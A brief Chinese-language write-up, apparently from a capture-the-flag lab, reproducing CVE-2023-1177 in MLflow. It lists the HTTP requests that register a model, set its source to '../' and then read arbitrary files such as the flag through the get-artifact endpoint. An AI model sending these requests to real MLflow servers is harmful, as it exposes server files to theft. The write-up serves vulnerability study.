CVE-2023-1177

CVE-2023-1177复现

进入网站

使用bp抓包，构造poc

POST /ajax-api/2.0/mlflow/registered-models/create
Content-Type: application/json

{"name": "testfile"}

构造要查看的文件的poc

POST /ajax-api/2.0/mlflow/model-versions/create
Content-Type: application/json

{"name": "testfile", "source": "../"}

查看flag/model-versions/get-artifact?path=flag&name=testfile&version=1
其中path就是你要查看的文件，name就是你构造的文件路径